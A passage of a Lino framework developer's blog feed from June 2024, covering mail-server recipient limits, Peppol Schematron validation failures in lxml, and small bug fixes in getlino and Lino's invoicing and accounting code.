</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0704.html</guid><pubDate>Thu, 04 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, June 29, 2024</title><link>https://luc.lino-framework.org/blog/2024/0629.html</link><description>&lt;section id="saturday-june-29-2024"&gt;
&lt;h1&gt;Saturday, June 29, 2024&lt;a class="headerlink" href="#saturday-june-29-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yesterday I sent a next newsletter to my friends.   I manage the recipient list
in Thunderbird and set it as the bcc field (because we don’t want everybody to
see the other recipients).&lt;/p&gt;
&lt;p&gt;My list holds 375 addresses, 43 of which are at &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;skynet.be&lt;/span&gt;&lt;/code&gt;. And Skynet (which
is now a part of Proximus) accepts a maximum number recipients per connection.
After the 5th recipient it says “Too many recipients”. But the Postfix on our
mail server doesn’t give up. It tries again after 5 minutes, then after ten
minutes, after 20 minutes… Here is how that looks in the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.log&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo grep joe.doe /var/log/mail.log
Jun 28 21:57:35 saffre-rumma postfix/smtp[2252573]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.22.25]:25, delay=22, delays=20/0.97/0.14/0.24, dsn=4.0.0, status=deferred (host mx.glb.proximus.be[195.238.22.25] said: 459 Too many recipients (RL) (in reply to RCPT TO command))
Jun 28 22:03:21 saffre-rumma postfix/smtp[2252792]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.20.25]:25, delay=367, delays=367/0.08/0.24/0.19, dsn=4.0.0, status=deferred (host mx.glb.proximus.be[195.238.20.25] said: 459 Too many recipients (RL) (in reply to RCPT TO command))
Jun 28 22:13:21 saffre-rumma postfix/smtp[2253003]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.20.25]:25, delay=967, delays=966/0.04/0.82/0.16, dsn=4.0.0, status=deferred (host mx.glb.proximus.be[195.238.20.25] said: 459 Too many recipients (RL) (in reply to RCPT TO command))
Jun 28 22:33:20 saffre-rumma postfix/smtp[2253231]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.20.25]:25, delay=2166, delays=2166/0.03/0.11/0.13, dsn=4.0.0, status=deferred (host mx.glb.proximus.be[195.238.20.25] said: 459 Too many recipients (RL) (in reply to RCPT TO command))
Jun 28 23:13:21 saffre-rumma postfix/smtp[2253484]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.22.25]:25, delay=4568, delays=4567/0.04/0.44/0.66, dsn=4.0.0, status=deferred (host mx.glb.proximus.be[195.238.22.25] said: 452 #4.5.3 Too many recipients. (in reply to RCPT TO command))
Jun 29 00:23:22 saffre-rumma postfix/smtp[2254227]: 3B984211FB: to=&amp;lt;joe.doe@skynet.be&amp;gt;, relay=mx.glb.proximus.be[195.238.20.25]:25, delay=8768, delays=8767/0.03/0.19/0.47, dsn=2.0.0, status=sent (250 ok:  Message 3727612 accepted)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0629.html</guid><pubDate>Sat, 29 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, June 27, 2024</title><link>https://luc.lino-framework.org/blog/2024/0627.html</link><description>&lt;section id="thursday-june-27-2024"&gt;
&lt;h1&gt;Thursday, June 27, 2024&lt;a class="headerlink" href="#thursday-june-27-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Content moved to &lt;a class="reference external" href="https://dev.lino-framework.org/topics/peppol.html#dg-topics-peppol" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Peppol support (e-Invoicing) in Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0627.html</guid><pubDate>Thu, 27 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Monday, June 24, 2024</title><link>https://luc.lino-framework.org/blog/2024/0624.html</link><description>&lt;section id="monday-june-24-2024"&gt;
&lt;h1&gt;Monday, June 24, 2024&lt;a class="headerlink" href="#monday-june-24-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I would like to validate the e-invoices generated by my Python program. The
&lt;a class="reference external" href="https://docs.peppol.eu/poacc/billing/3.0/"&gt;Peppol BIS Billing 3.0 - November 2023 Release&lt;/a&gt; page provides two Schematron
files for download. And LXML knows how to &lt;a class="reference external" href="https://lxml.de/validation.html#schematron-1"&gt;validate an XML file using Schematron
files&lt;/a&gt;. So theoretically
everything is clear…&lt;/p&gt;
&lt;p&gt;… but both Schematron files from docs.peppol.eu fail to load into LXML.
Here is what I tried.&lt;/p&gt;
&lt;p&gt;First I wrote a utility function that downloads the file and then instantiates
an LXML schematron schema from it.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lxml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;isoschematron&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;wb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iter_content&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;            &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;schematron&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;isoschematron&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Schematron&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first schematron file, “Schematron for PEPPOL rules (UBL)” is diagnosed by
LXML as being invalid:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://docs.peppol.eu/poacc/billing/3.0/files/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;PEPPOL-EN16931-UBL.sch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;lxml.etree.SchematronParseError&lt;/span&gt;: &lt;span class="n"&gt;invalid schematron schema: &amp;lt;string&amp;gt;:498:0:ERROR:RELAXNGV:RELAXNG_ERR_ELEMNAME: Expecting element pattern, got let&lt;/span&gt;
&lt;span class="x"&gt;&amp;lt;string&amp;gt;:0:0:ERROR:RELAXNGV:RELAXNG_ERR_INTEREXTRA: Extra element let in interleave&lt;/span&gt;
&lt;span class="x"&gt;&amp;lt;string&amp;gt;:8:0:ERROR:RELAXNGV:RELAXNG_ERR_ELEMNAME: Expecting element ns, got title&lt;/span&gt;
&lt;span class="x"&gt;&amp;lt;string&amp;gt;:7:0:ERROR:RELAXNGV:RELAXNG_ERR_CONTENTVALID: Element schema failed to validate content&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The second schematron file, “Schematron for TC434 rules (UBL)” seems to be
using the “xslt2” query language:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://docs.peppol.eu/poacc/billing/3.0/files/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;CEN-EN16931-UBL.sch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;lxml.etree.XSLTApplyError&lt;/span&gt;: &lt;span class="n"&gt;Fail: This implementation of ISO Schematron does not work with&lt;/span&gt;
&lt;span class="x"&gt;    schemas using the &amp;quot;xslt2&amp;quot; query language.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0624.html</guid><pubDate>Mon, 24 Jun 2024 00:00:00 +0000</pubDate></item><item><title>Friday, June 21, 2024</title><link>https://luc.lino-framework.org/blog/2024/0621.html</link><description>&lt;section id="friday-june-21-2024"&gt;
&lt;h1&gt;Friday, June 21, 2024&lt;a class="headerlink" href="#friday-june-21-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I fixed about 6 bugs and documentation issues. None of them were
revolutionary.&lt;/p&gt;
&lt;nav class="contents local" id="contents"&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#getlino-failed-when-no-www-data-group-exists" id="id1"&gt;getlino failed when no &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt; group exists&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#cannot-edit-today-date-of-a-user-plan" id="id2"&gt;Cannot edit “today” date of a user plan&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#bad-argument-type-proxy-some-heading-of-a-dashboard-item" id="id3"&gt;#5671 (bad argument type: __proxy__([some heading of a dashboard item]))&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#a-sales-invoice-must-debit-the-account-but-credit-the-storage" id="id4"&gt;#5672 (A sales invoice must DEBIT the account but CREDIT the storage)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#internal-server-error-api-invoicing-myplan-row" id="id5"&gt;#5673 (Internal Server Error: /api/invoicing/MyPlan/row)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#multiple-invoicing-tasks-and-help-text" id="id6"&gt;Multiple invoicing tasks and help_text&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;section id="getlino-failed-when-no-www-data-group-exists"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id1" role="doc-backlink"&gt;getlino failed when no &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt; group exists&lt;/a&gt;&lt;a class="headerlink" href="#getlino-failed-when-no-www-data-group-exists" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Joy reported that &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; breaks in a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-developer-environment" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer environment&lt;/span&gt;&lt;/a&gt; when
no user group &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt; exists. So I made it more resistant:
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.check_permissions()&lt;/span&gt;&lt;/code&gt; no longer tries to change the
group owner of the file to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt; when no such group exists. More
precisely &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;www-data&lt;/span&gt;&lt;/code&gt; is the group name specified in &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;usergroup&lt;/span&gt;&lt;/code&gt;. The
user group is needed only on a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production site&lt;/span&gt;&lt;/a&gt; with a
&lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;web-server&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;getlino.utils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;grpexists&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;grpexists&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Help on function grpexists in module getlino.utils:&lt;/span&gt;

&lt;span class="go"&gt;grpexists(name)&lt;/span&gt;
&lt;span class="go"&gt;    Check whether the user group with the given ``name`` exists.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;grpexists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;grpexists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;luc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;grpexists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;www-data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="cannot-edit-today-date-of-a-user-plan"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id2" role="doc-backlink"&gt;Cannot edit “today” date of a user plan&lt;/a&gt;&lt;a class="headerlink" href="#cannot-edit-today-date-of-a-user-plan" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserPlan.today" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;today&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field of a &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserPlan" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UserPlan&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is no longer
read-only (&lt;cite&gt;editable=False&lt;/cite&gt;) because Lino no longer automatically sets it each
time you open your &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoicing-plan" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoicing plan&lt;/span&gt;&lt;/a&gt;. When you start an invoicing plan
today and finish it tomorrow, you might not want Lino to update that field, e.g.
because you want all generated documents on the same date. But if you started a
service report three weeks ago, got interrupted and now continue, you want to
have the real date in this field.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="bad-argument-type-proxy-some-heading-of-a-dashboard-item"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id3" role="doc-backlink"&gt;#5671 (bad argument type: __proxy__([some heading of a dashboard item]))&lt;/a&gt;&lt;a class="headerlink" href="#bad-argument-type-proxy-some-heading-of-a-dashboard-item" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I have seen this error before. Here is how to get this error message:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lino_book.projects.min2.settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
  File &lt;span class="nb"&gt;&amp;quot;/usr/lib/python3.10/doctest.py&amp;quot;&lt;/span&gt;, line &lt;span class="m"&gt;1350&lt;/span&gt;, in &lt;span class="n"&gt;__run&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;single&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  File &lt;span class="nb"&gt;&amp;quot;&amp;lt;doctest 0621.rst[9]&amp;gt;&amp;quot;&lt;/span&gt;, line &lt;span class="m"&gt;1&lt;/span&gt;, in &lt;span class="n"&gt;&amp;lt;module&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  File &lt;span class="nb"&gt;&amp;quot;src/lxml/builder.py&amp;quot;&lt;/span&gt;, line &lt;span class="m"&gt;219&lt;/span&gt;, in &lt;span class="n"&gt;lxml.builder.ElementMaker.__call__&lt;/span&gt;
&lt;span class="gr"&gt;TypeError&lt;/span&gt;: &lt;span class="n"&gt;bad argument type: __proxy__(&amp;#39;Foo&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I am quite sure it is caused by my recent changes with safetext and elementtree.
But I don’t see how to reproduce it.&lt;/p&gt;
&lt;p&gt;And I guess that it is caused by
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.elems.DisplayElement.value2html()&lt;/span&gt;&lt;/code&gt;, which is indeed a strange
piece of code.&lt;/p&gt;
&lt;p&gt;I cleaned up the code and changed the call to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;logger.error()&lt;/span&gt;&lt;/code&gt;
into &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;logger.exception()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-sales-invoice-must-debit-the-account-but-credit-the-storage"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id4" role="doc-backlink"&gt;#5672 (A sales invoice must DEBIT the account but CREDIT the storage)&lt;/a&gt;&lt;a class="headerlink" href="#a-sales-invoice-must-debit-the-account-but-credit-the-storage" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The reason for this ticket was actually just a configuration problem in Jane.&lt;/p&gt;
&lt;p&gt;The title of this ticket is NOT a problem. Whether the storage (more exactly the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/storage.html#term-provision" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;provision&lt;/span&gt;&lt;/a&gt;) gets debited or credited depends on the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.storage.TransferRule&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DcAmountField&lt;/span&gt;&lt;/code&gt; now uses
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;DC.normalized_amount()&lt;/span&gt;&lt;/code&gt; rather than the hard-coded meaning of debit and
credit.&lt;/p&gt;
&lt;p&gt;“A sales invoice debits the customer’s account” (as explained &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#debit-and-credit"&gt;in the end-user
docs&lt;/a&gt;),
but the &lt;span class="guilabel"&gt;Primary booking direction&lt;/span&gt; field of a &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Journal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal.dc" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Journal.dc&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field says “Credit” for sales invoices. I tried whether I can
optimize this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="internal-server-error-api-invoicing-myplan-row"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id5" role="doc-backlink"&gt;#5673 (Internal Server Error: /api/invoicing/MyPlan/row)&lt;/a&gt;&lt;a class="headerlink" href="#internal-server-error-api-invoicing-myplan-row" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;invoicing.MyPlan.get_row_by_pk()&lt;/span&gt;&lt;/code&gt; does not check for permissions because
that’s done later during the request, but accesses the database using current
user as argument, which fails when the authentication info has been cleared for
some reason, causing current user to be an &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AnonymousUser&lt;/span&gt;&lt;/code&gt; instance.
